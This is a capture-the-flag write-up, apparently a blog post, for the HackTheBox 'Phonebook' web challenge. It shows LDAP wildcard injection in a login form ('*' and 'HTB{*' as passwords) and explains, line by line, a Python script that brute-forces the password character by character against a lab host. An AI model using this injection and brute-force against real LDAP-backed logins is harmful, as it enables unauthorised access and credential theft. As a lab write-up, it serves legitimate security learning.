Phonebook: HackTheBox Web challenge My Perspective

HackTheBox Playlist:

More CTF solutions:

GitHub - AdithyakrishnaV/CTFs

Contribute to AdithyakrishnaV/CTFs development by creating an account on GitHub.

First I looked for any cookie,then I thought it was an SQL injection:

Then I used FFuF but did’nt find anything interesting.Ffuf is a fest web fuzzer written in Go that allows typical directory discovery, virtual host discovery (without DNS records) and GET and POST parameter fuzzing.

Vulnerability:

I see that note from Reese stated that we can login using the workstation’s username and password. This gives us a hint that it is probably usingLDAP authentication.

Let,s test:

It is using LDAP authentication.

Then I searched for the user Reese. The results prove that the user exists.If I enter “ A* ” into the search filter, hoping that all names will appear.

So I tried with the username with an asterisk (*) as password.

This works.I think the flag may be the password so I tried this:

'username': 'Reese','password': 'HTB{*'

It works. So let’s construct a python code to bruteforce the flag:

You can find the code here:

Python-for-Penetration-Testing/HackTheBox/Phonebook at master ·…

You can’t perform that action at this time. You signed in with another tab or window. You signed out in another tab or…

github.com

import requests: This imports the requests library, which allows Python to send HTTP requests using simple commands.
import string: This imports the string module, which provides various string-related functions.
ip = '161.35.36.167:30840': This defines a variable ip which holds the IP address and port of the target website.
url = f'http://{ip}/login': This creates a string url which holds the URL of the login page of the target website.
check = f'http://{ip}/': This creates a string check which holds the URL of the home page of the target website.
alphabet = list(string.ascii_lowercase + string.digits + string.punctuation + string.whitespace): This creates a list alphabet which contains all lowercase letters, digits, punctuation marks and whitespace characters.
alphabet.remove('*'): This removes the * character from the alphabet list.
data = {'username': 'Reese', 'password': 'anything'}: This creates a dictionary data with two key-value pairs, where the username is Reese and the password is anything.
result = 'HTB{': This initializes a string result to HTB{.
flag = True: This sets a boolean variable flag to True.
while flag:: This starts a while loop which runs as long as flag is True.
for a in alphabet:: This starts a for loop which iterates over each character a in the alphabet list.
data['password'] = result + a +'*': This sets the value of password in the data dictionary to a combination of result, a and *.
res = requests.post(url, data=data).url: This sends a POST request to the login page of the target website with the data dictionary as the payload, and assigns the URL of the response to the res variable.
if res == check:: This checks if the res variable is equal to the check variable.
result += a: This appends the character a to the result variable.
print(result): This prints the current value of the result variable.
if a == '}': flag = False: This checks if the character a is equal to }, and sets the flag variable to False if it is.
break: This exits the for loop and continues with the while loop.
print(result): This prints the final value of the result variable